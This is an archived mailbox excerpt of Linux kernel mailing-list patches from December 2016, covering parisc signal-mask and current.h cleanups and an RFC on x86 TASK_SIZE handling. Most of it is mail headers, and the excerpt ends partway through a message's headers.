 Mw7iGb8m4AnozySUuWjvl1IwY/smJdFhzY3WZQmJ/9wY1OCSYfL30YpMJUuRmJdp+OQZJ3n9s
 KLNAx1/4H06QlRnWmMnwJ9pIABBGM1OnD0RlDiau1lSMWtZDVFvpYyX+EqswyiOZh794KWMRt
 Z6t6j0WxiM34oUAEwDQMb/85G3MQwKNW43R1bgxQafrG23LU8+gAiGsWUMF3oQ1+Q6L0qpvAX
 SL2CJnRqzX1BIwzOKfi6oRglHo/+Yt4KxzsBWoB9/Z6PrVGvkA8Ts4LWu0RQce30cHKnfL9eR
 QYpIqa8q+Dn1ByYYy3Ztl9V97w1QPcTk34QGG0JqISTQTFEkHBtxkvVK6AG9GB3OB69nOzYfS
 856gVN/XshLvHPma6pQOE8VAd6guzFmQ21/V2NuSI4SZm6+8llXgaAbnvz+KzPUxrxHKdAcgq
 5Q9/BzFSfy+6nc8QG+nEGY4RI8PKx+YMyJgMjVSKF8lHmRInrLp5uVTuAtQ5lM/ex44V7hGJc
 iWvzshZhVPw2wgjRqIaQDgceLShtwGN5KzLqsTzuA74H4mI2H6mxr4Z2wG6PdObi8bKmq0a7x
 9OmYuqhElDELXyfTB3aVaB8qpFEA+tINQkU3tt8I/jBYIJjCSh9YGTbC2YArZImHdamDDqbxu
 5hG2k7sWdLSGNZgopUZUvtpjOoBCuvIpm/vu/h+/P65N7aq4FGDl41MgT/0SdkhSkgi7k005 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27122
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27122>

Commit 7e7814180b33 ("signal: consolidate {TS,TLF}_RESTORE_SIGMASK code")
introduced code with which the "restore sigmask" flag lives in task_struct
instead of ti->flags.
Use it on parisc.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 7581330e..88fe0aa 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -49,7 +49,6 @@ struct thread_info {
 #define TIF_POLLING_NRFLAG	3	/* true if poll_idle() is polling TIF_NEED_RESCHED */
 #define TIF_32BIT               4       /* 32 bit binary */
 #define TIF_MEMDIE		5	/* is terminating due to OOM killer */
-#define TIF_RESTORE_SIGMASK	6	/* restore saved signal mask */
 #define TIF_SYSCALL_AUDIT	7	/* syscall auditing active */
 #define TIF_NOTIFY_RESUME	8	/* callback before returning to user */
 #define TIF_SINGLESTEP		9	/* single stepping? */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Davidlohr Bueso <dave@stgolabs.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: use generic current.h
Date: Tue, 27 Dec 2016 19:48:23 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <1482896903-25761-1-git-send-email-dave@stgolabs.net>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1482896934 20151 195.159.176.226 (28 Dec 2016 03:48:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Dec 2016 03:48:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
        Davidlohr Bueso <dave@stgolabs.net>,
        Davidlohr Bueso <dbueso@suse.de>
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 28 04:48:50 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cM5EP-0004cC-FZ
	for glk-linux-kernel-3@m.gmane.org; Wed, 28 Dec 2016 04:48:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750819AbcL1Dst (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 27 Dec 2016 22:48:49 -0500
Original-Received: from smtp2.provo.novell.com ([137.65.250.81]:32814 "EHLO
        smtp2.provo.novell.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750705AbcL1Dss (ORCPT
        <rfc822;groupwise-linux-kernel@vger.kernel.org:0:0>);
        Tue, 27 Dec 2016 22:48:48 -0500
Original-Received: from linux-80c1.suse (prv-ext-foundry1int.gns.novell.com [137.65.251.240])
        by smtp2.provo.novell.com with ESMTP (TLS encrypted); Tue, 27 Dec 2016 20:48:36 -0700
X-Mailer: git-send-email 2.6.6
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2376427 gmane.linux.ports.parisc:27123
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2376427>

Given that the arch does not add its own implementations, simply
use the asm-generic/current.h (generic-y) header instead of
duplicating code.

Signed-off-by: Davidlohr Bueso <dbueso@suse.de>
---
 arch/parisc/include/asm/Kbuild    |  1 +
 arch/parisc/include/asm/current.h | 15 ---------------
 2 files changed, 1 insertion(+), 15 deletions(-)
 delete mode 100644 arch/parisc/include/asm/current.h

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 91f53c07f410..a07448dc2b29 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -3,6 +3,7 @@ generic-y += auxvec.h
 generic-y += barrier.h
 generic-y += clkdev.h
 generic-y += cputime.h
+generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += emergency-restart.h
diff --git a/arch/parisc/include/asm/current.h b/arch/parisc/include/asm/current.h
deleted file mode 100644
index 0fb9338e3bf2..000000000000
--- a/arch/parisc/include/asm/current.h
+++ /dev/null
@@ -1,15 +0,0 @@
-#ifndef _PARISC_CURRENT_H
-#define _PARISC_CURRENT_H
-
-#include <linux/thread_info.h>
-
-struct task_struct;
-
-static inline struct task_struct * get_current(void)
-{
-	return current_thread_info()->task;
-}
- 
-#define current get_current()
-
-#endif /* !(_PARISC_CURRENT_H) */
-- 
2.6.6



From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dmitry Safonov <dsafonov@virtuozzo.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [RFC 0/4] x86: keep TASK_SIZE in sync with mm->task_size
Date: Fri, 30 Dec 2016 18:56:30 +0300
Lines: 57
Approved: news@gmane.org
Message-ID: <20161230155634.8692-1-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1483113647 11348 195.159.176.226 (30 Dec 2016 16:00:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Dec 2016 16:00:47 +0000 (UTC)
Cc: <0x7f454c46@gmail.com>, Dmitry Safonov <dsafonov@virtuozzo.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        Andy Lutomirski <luto@kernel.org>,
        "Kirill A . Shutemov" <kirill.shutemov@linux.intel.com>,
        <x86@kernel.org>, Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Peter Zijlstra <peterz@infradead.o
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Dec 30 17:00:41 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cMzbf-0001NV-Ot
	for sgi-linux-mips@gmane.org; Fri, 30 Dec 2016 17:00:35 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47108 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992535AbcL3QAiH3VWE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 30 Dec 2016 17:00:38 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 30 Dec 2016 17:00:23 +0100 (CET)
Original-Received: from mail-eopbgr00125.outbound.protection.outlook.com ([40.107.0.125]:21323
        "EHLO EUR02-AM5-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23992571AbcL3QAQNmD0E (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 30 Dec 2016 17:00:16 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=virtuozzo.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=HWPViX+t05Vm6BIJdsqkv+l5+UwRcQiJirTQMjzZM4s=;
 b=JXVCAeBaT0nqSugGVLVXq+qBGLnB5cebKW2XXd/GOxujMId4Gb26E9qgA/szHSrupjtmbF2Rr7hC2M3P6FbdOFHmS9hohUbFYJmaZPbhyhXUYolTYZ2zj150NV+jqCzeubT7fjvKE9jRZEle0HAtmsisCaQnmGzcn3P93RHUyNs=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=dsafonov@virtuozzo.com; 
Original-Received: from dsafonov.sw.ru (195.214.232.6) by
 HE1PR0801MB1740.eurprd08.prod.outlook.com (10.168.150.7) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.803.11; Fri, 30 Dec 2016 16:00:03 +0000
X-Mailer: git-send-email 2.11.0
X-Originating-IP: [195.214.232.6]
X-ClientProxiedBy: VI1PR09CA0080.eurprd09.prod.outlook.com (10.174.49.152) To
 HE1PR0801MB1740.eurprd08.prod.outlook.com (10.168.150.7)
X-MS-Office365-Filtering-Correlation-Id: 36b4d980-e4ef-474b-5599-08d430ccec29
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001);SRVR:HE1PR0801MB1740;
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;3:Mr3/Xv6YseeV2+sUry0pTt6kzsdzQqepN7rOuebXTxxgMlyOL1B7HrlkwXR94lpMXua7ks3xabM5ZRZtIaH/sIwIODxKTo4KiMQThpZWl0oTCanfowvML7pAKJ8GnZ/tr8XSIkz/OoPxCsdS1qAdev8JyRVclYOvlKaKxZl2FVxFffxz8113myf44fa2Y5utg8lvZgVUWxxeSYiRhiZ4rXgvFyh0zniVmtUnqzpz776ImQfOkilAlRD6uki5RKISbCoTNu5JrQY71cHL3r5hAA==;25:YWwMCYr0J99tZ847Zh6rJqn3fu60jaSoirg7FlSEsla4vZo1LhFhJAfXqfMBAxi1ajcwX6kqy/6AcUWWtjx8MrpiHFNrgSYAzmrRnh01rfCYVho0BNxw5oms+8dsR1Wp0iT43rNuEPDDnxUCbBXUKuW4bPLV0XXenzOvw+Mlk+7p+QpVhtNqQwFOCIibkc2uyEn2umax0AmBp5YWlPuTMntlnCZGXoA7zhv+QoCBmBK9T84CDfMzfQKy/Jk1vSMlkPTEvL0A1a7aCfsn6+2at+iEq9uZTSF0EWWJ2qwEH/1qOIgPzXO/m2bx0y9imZT/UtFZwax/eM1dcY7ME9wrGvRv4tF4+Nb9tzD7oRC3/TzlXJDfW6/V6eeVHD7X2qM6HWm9/1Q89w4VSpn7NEV92VN6rFJ+LouiXhdY3ivrTq9oYCy1Z4upj5hqax8MXn/mTL/bIFbwQFk2S9
 vmGdJi9A==
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;31:thztHeEddlSslWxmDauUKBFL5Ylq8Szh7iw2yots7DEwBrKQ8LgDs7guwGzQ38EPeS52CYy0Srg1TiVJyLsP9R6hxMp74cJeGqdDNIFoSe9YSOD6L3EMoD65S0BJ8qESvBzUinq0mfL/yHMXIdZh6lOQJLtYHdMfN0wBqy3P9oqKfs46amFu5+RQGyMH57mPaoBldVBnjkT6YDwxo1RhRle2q4TrsFZ51aIFPd7U6aR7x6D0yEWBftnoFvPAHc/SUxAvHZNFUf0NJRNpnybwug==;20:+aV0kDzTV7CeY51upEl0jaYcWybjidIMW1cgl4o6KXHiqTdvyyTT3WNla+RrsjU8zjCUz9V5NA0hMpWlaaVRYwB+VdjvX2f7JNVEc+1Itf1giks+TqyYQdGLZmlsmUejqcrWBVdV/W8h1/mUO0+/qfZzqowF2BRAHd+AszypXWyyzTWGnw454PDSjJnTe321+zsgnJ3qV/Sr5RWK/2i6HuTm9GoqIXqSmo81BAYteyldMfTHrqebacurBgrebFZM
X-Microsoft-Antispam-PRVS: <HE1PR0801MB1740C39DFCA58F0AD0DD9A25D16A0@HE1PR0801MB1740.eurprd08.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(228905959029699);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(8121501046)(5005006)(10201501046)(3002001)(6041248)(20161123555025)(20161123560025)(20161123558021)(20161123564025)(20161123562025)(6072148);SRVR:HE1PR0801MB1740;BCL:0;PCL:0;RULEID:;SRVR:HE1PR0801MB1740;
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;4:G+Ym1O92fu7iMb/RJvyNdnKNrRItp2EBAQMxaQibR+HtsT5RrQ9mGPVcLV9oWlfdvOYb4zqxa4f0aA3NA1+j1Ork5zHx8lD7maT/Qbe5aJF1IoWntRw0mt6pwX3KnD3rNXxsbHGYI/QYdrkYr8qrwMI0zGWgefUOBjHGFR148F3E3xBX4oC6t3Hqws7+r+V52iTZofeYisPlgg189avmQHu9SOX6Q3q+wouauj4maP8VEdVkhO0OKZCSsaQ8PnWxvsFf/5hw+s01pEO5d9CNq+XDWxIZheUIkkkn1gKHcYJ9uUS+fNEqbnuyqV+C7kP1IqVR8COi24FaO/7ztoQ3VUYGFFzxT7VGUbrt8xb145/01ADQRcSTykR4s9XJRI+R1zBUNl7LezDqGPZB6O4fLBToxeXcR35uH12cshZ7sVwB0x3EiEA92zZ8JXuLo0yqQBJsMuDGcVrG/jFdbDTBRaLz33RRuBYQWLY44h2Fzg7nTI9SiRF9rUF0ytC+LChhAEjKm/rPv2sU8cxEodSan8zFh83TC8EKETDoOfMN7fl+CGEK6fTxiyBRX/F66aWaBDipvYE4lD+6Mhc/sz0SNMrKDd/D9G/KxDAASu+SUHK7V4QtM+/JyqoN3QRYf2VDr85yeArERKK2J3pgmw4HuA==
X-Forefront-PRVS: 0172F0EF77
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10019020)(4630300001)(6009001)(7916002)(39450400003)(199003)(189002)(36756003)(81156014)(8666007)(50226002)(6666003)(6916009)(110136003)(5003940100001)(69596002)(66066001)(6512006)(81166006)(101416001)(68736007)(8676002)(47776003)(25786008)(86362001)(50986999)(106356001)(33646002)(92566002)(6486002)(5660300001)(2351001)(189998001)(53416004)(38730400001)(42186005)(105586002)(305945005)(1076002)(6116002)(97736004)(3846002)(39060400001)(7416002)(2906002)(48376002)(7736002)(50466002)(4326007)(6506006);DIR:OUT;SFP:1102;SCL:1;SRVR:HE1PR0801MB1740;H:dsafonov.sw.ru;FPR:;SPF:None;PTR:InfoNoRecords;A:1;MX:1;LANG:en;
Received-SPF: None (protection.outlook.com: virtuozzo.com does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;HE1PR0801MB1740;23:dhQeEb+xm8W/qcsKlpEZJv01CG3GOKFjdMps0jW?=
 =?us-ascii?Q?VuyoA7qDK5AB/+Yj2gyhDY0R5yYIyJy2vaMtBgi2H2lxwitNF/4NIGIHVozv?=
 =?us-ascii?Q?ZSgoOFHkk0p0WXl5qFNM2IkjGTT+egz021ToXjEJ0IX8JWtiB6KSJUL7kguR?=
 =?us-ascii?Q?5PxX/byEc9S8SGyeWGO6OX6rE+Bd/Uqcu76fsl8ueCdHgZCtzuC+8JWFLBDi?=
 =?us-ascii?Q?N/KRTxqmC45g9kafdNU7jEqBNDGSVPijxx0WwzdhXyRdZR2+IvnDTmM8ALZB?=
 =?us-ascii?Q?dTJFcHRwFF72rh36P1XWMkJofJeu2dJsA5hfjevh8M4CXdZYtLRYSMymBjPE?=
 =?us-ascii?Q?SOzWmedkkgmN+TLCddPuHeVlKaRLnFTviw3skebqZzT/MPaGULom5X4MU63m?=
 =?us-ascii?Q?Gq2Tp3sJVn9XInSNuHw3sBG/Iy77q6tDMXnspv8iR4lw9qIZptQhLvwM0wYR?=
 =?us-ascii?Q?SGMJiatnfpfkOLXME609f4+bNpZWeD3IcV3NmpHsdgAQQ1qMartfxium03ho?=
 =?us-ascii?Q?3CAOrTEaW5nFNX9OuHbo/YE32G263lIhbFlFiAtE9NLHjmvutHzl1o0w/ByE?=
 =?us-ascii?Q?vNJGKS7UJyqqapS5C+1brHEbpkHFAf5aV6qGm195yGshFCWv+Qm4GOQz4W3X?=
 =?us-ascii?Q?WumpKI 
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;6:m8p0mglPGReR88h3H2PuE/0Mm286Ol0XZx5wMaDH2i5WwFF5ijR8XqnqTz2bTi46PK10Ap7DQVEqHJj+ELZA2FHi2VdP1j8qmtMu4BCbBL+FUbU+WEt99Mq16BOBy1nQyeIj7RX5x/0RHIt5kkDp9bWtFZVvxlKgWD1j31Xmcch78GJTKuS/BeUeEZS9Mikt2D64fPUWyWtfx9B7WYesBu9IlBNuNWe/GtDldxujFjjRYMnwvX2U76iCFiPxUSQUKd8ThA1h9CQiHNl+YvzqAvH6XhBLbRSqWkokUEK971XhNv7A4Xax/3wJp6ZXLysV31KV7ckKQLaPzYNTEltB3fkyvE7XL2FXu0I3SvH3+auX8dq//vAuXMnBFAjegatuSuAN9CLImvO89zC96u8Ew4PL4tz/jp6HMSoqkzd8Uco=;5:gLvWLTqigHpACGNM9grgQeaoNVDBFotZLMsVhKBevmzX6FuS6Wi1vpDJ0JnbtEdnn6gwIZT2NDWphdoNUP7wDAAC2xcrRitdN9DXqAVTr+pHJ9wjZlAanpCDPHqpxWCOlswvLSjbixDhrSzOGqSlvw==;24:sYCC157suwMhiTK7b7Ia9JTgM1WD5oPWrCDwDa6kqDEYmIKUQGgLHoGFQozK7JYKtv8RMdZvONS6jozeFyA5uddOG50KhYH6TUD7hsqzUEY=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0801MB1740;7:v4NojDFWWyBPfuWOir6DSTd7HInm1U8ga+QvWY1UhY2bXOeKdukP4MAaAT82uk+vjp+FTVPSptx9ElBvNhp04FJfjj7rKwKyZO+NP4TxZ6Ow5JVfEsJ7ufV5o+6ZcKT4RJUKY/q/CIKjn53Jq9Z1mnreX50Bj5G5H0vXbPXrpo2cfVs3ReqtMb409/TaoTaMeA3Xj8Xjj1Cqlxu6X/cKZa9w3po7XhnqwjM5IP7L3vwwGhUbgJEwthqeplXPNKATefT6yvrMlbtQNigBI7oyWpCYNTPNZsg1Qo1+05hWEoepgFfeY439ojxStXgpXSlorvl0ZPgh3FCYPdsouYkhqJH/v2vUI2N7YvtwK58OQiIcabKK1J3DqMXsf3AB3p4GdR2IgAKXaWuuj8XqhL/UfWx/ZYOIxb1YYH56cwSLzr+B8Eb8rL/G/ZsgN7u7FucKIKb27Ru46nVtjKyQOmWBGQ==;20:DO6ATmrfePIIByG9kGt1Gy+qTiR2WGoS0CxvaNoRgVNQFAjnSL+zrhUxb9NFvZdGgXSuydpaKPe+48UlJ+yrai2nA4H3gD7R8Y/Wm/QzbY7+dkUGUA1tnczpzlY3knxwrEwRgg6YvS0YX8qWTpb9ZQs8CNot9gE+oAsJJnK1qOU=
X-OriginatorOrg: virtuozzo.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Dec 2016 16:00:03.2703 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HE1PR0801MB1740
X-archive-position: 56135
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dsafonov@virtuozzo.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57302 gmane.linux.kernel:2377290 gmane.linux.ports.arm.kernel:546934 gmane.linux.ports.parisc:27124 gmane.linux.ports.ppc64.devel:136848 gmane.linux.ports.sparc:24219
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57302>

At this moment, we have following task_size-related things:
- TASK_SIZE_OF() macro, which is unused;
- current->mm->task_size which is used in half and TASK_SIZE() macro
  which is used in the other half of code
- TIF_ADDR32, which is used to detect 32-bit address space and is
  x86-specific, where some other arches misused TIF_32BIT
- personality ADDR_LIMIT_32BIT, which is used on arm/alpha
- ADDR_LIMIT_3GB, which is x86-specific and can be used to change
  running task's TASK_SIZE 3GB <-> 4GB

This patches set removes unused definition of TASK_SIZE_OF (1),
defines TASK_SIZE macro as current->mm->task_size (3).
I would suggest define TASK_SIZE this way in generic version,
but currently I test it only on x86.
It also frees thread info flag (2) and adds arch_prctl()
on x86_64 to get/set current virtual address space size - as
it's needed by now only for CRIU, hide it under CHECKPOINT_RESTORE
config.
Hope those patches will help to clean task_size-related code
at least a bit (and helps me to restore vaddr limits).

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Andy Lutomirski <luto@kernel.org>
Cc: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
Cc: x86@kernel.org

Dmitry Safonov (4):
  mm: remove unused TASK_SIZE_OF()
  x86/thread_info: kill TIF_ADDR32 in favour of ADDR_LIMIT_32BIT
  x86/mm: define TASK_SIZE as current->mm->task_size
  x86/arch_prctl: add ARCH_{GET,SET}_TASK_SIZE

 arch/arm64/include/asm/memory.h       |  2 --
 arch/mips/include/asm/processor.h     |  3 ---
 arch/parisc/include/asm/processor.h   |  3 +--
 arch/powerpc/include/asm/processor.h  |  3 +--
 arch/s390/include/asm/processor.h     |  3 +--
 arch/sparc/include/asm/processor_64.h |  3 ---
 arch/x86/include/asm/elf.h            |  7 +++++--
 arch/x86/include/asm/processor.h      | 19 +++++++++----------
 arch/x86/include/asm/thread_info.h    |  4 +---
 arch/x86/include/uapi/asm/prctl.h     |  3 +++
 arch/x86/kernel/process_64.c          | 17 +++++++++++++++--
 arch/x86/kernel/sys_x86_64.c          |  4 ++--
 arch/x86/um/asm/segment.h             |  2 +-
 arch/x86/xen/mmu.c                    |  4 ++--
 fs/exec.c                             | 17 +++++++++++------
 include/linux/sched.h                 |  4 ----
 16 files changed, 52 insertions(+), 46 deletions(-)

-- 
2.11.0




From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dmitry Safonov <dsafonov@virtuozzo.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Fri, 30 Dec 2016 18:56:31 +0300
Lines: 156
Approved: news@gmane.org
Message-ID: <20161230155634.8692-2-dsafonov@virtuozzo.com>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1483113674 23910 195.159.176.226 (30 Dec 2016 16:01:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Dec 2016 16:01:14 +0000 (UTC)
Cc: <0x7f454c46@gmail.com>, Dmitry Safonov <dsafonov@virtuozzo.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Peter Zijlstra <peterz@infradead.org>,
        <linux-arm-kernel@lists.infradead.org>,
        <linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
        <linuxppc-dev@lists.ozlabs.org>, <linux-s390@vger.kernel.org>,
        <sparclinux@vger.kernel.org>, Thomas Gleixner <tglx@l
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Dec 30 17:01:07 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cMzc2-0004TT-Nt
	for sgi-linux-mips@gmane.org; Fri, 30 Dec 2016 17:00:58 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47274 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992703AbcL3QBBaOfEE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 30 Dec 2016 17:01:01 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 30 Dec 2016 17:00:46 +0100 (CET)
Original-Received: from mail-eopbgr00125.outbound.protection.outlook.com ([40.107.0.125]:21323
        "EHLO EUR02-AM5-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23992675AbcL3QAQgmeQE (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 30 Dec 2016 17:00:16 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=virtuozzo.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=QZ2EB1WlWxDUHXI/0XnmS5DF4UPuE3DLsHvMloKaeWA=;
 b=e8q0JHdhapo5nBXoEGxx1Xpc4USn5vjkrYF/Cy2NR4WOW9eM/n4GIwra8U2KRCMg+qGAPbudC6i7wOpYwMTqnXExUBZiNgt834nIewnaloqMVvkWmLzI7ODLz4nt3UpKo//FfHckJ4EqH7MemJe6oMyfDFExgUXTLAQrtwfb/mE=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=dsafonov@virtuozzo.com; 
Original-Received: from dsafonov.sw.ru (195.214.232.6) by
 HE1PR0801MB1740.eurprd08.prod.outlook.com (10.168.150.7) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.803.11; Fri, 30 Dec 2016 16:00:08 +0000
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20161230155634.8692-1-dsafonov@virtuozzo.com>
X-Originating-IP: [195.214.232.6]
X-ClientProxiedBy: VI1PR09CA0080.eurprd09.prod.outlook.com (10.174.49.152) To
 HE1PR0801MB1740.eurprd08.prod.outlook.com (10.168.150.7)
X-MS-Office365-Filtering-Correlation-Id: 4bb844ac-fa94-402f-6dbb-08d430ccef85
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001);SRVR:HE1PR0801MB1740;
